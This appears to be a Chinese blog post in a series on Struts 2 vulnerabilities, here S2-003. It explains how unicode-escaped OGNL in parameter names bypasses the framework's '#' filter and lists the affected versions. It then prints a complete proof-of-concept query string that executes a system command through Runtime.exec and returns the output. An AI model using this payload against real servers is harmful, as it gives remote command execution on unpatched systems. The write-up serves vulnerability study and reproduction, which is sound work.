Struts 2 漏洞专题 | S2-003

漏洞简介

OGNL除其他功能外,还提供了广泛的表达式评估功能(http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html)。 该漏洞使恶意用户可以绕过ParametersInterceptor内置的'#'使用保护,从而能够操纵服务器端上下文对象。

因此,例如,要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:

('\ u0023'+'session 'user '')(未使用)= 0wn3d

网址编码后,其外观如下所示:

('\ u0023'%20%2b%20'session 'user '')(未使用)= 0wn3d

通俗的讲:Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

影响版本

Struts 2.0.0 - Struts 2.1.8.1

漏洞复现

环境准备

Windows 7 64bit(内含XAMPP)

Struts2.0.1

POC

//URL后接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

结果截图

Struts 2 漏洞专题 | S2-003

Struts 2 漏洞专题 | S2-003

上一篇:程序员文档写作能力(三)-如何处理好微信、邮件、开会时的话术


下一篇:吴裕雄--天生自然 人工智能机器学习实战代码:LASSO回归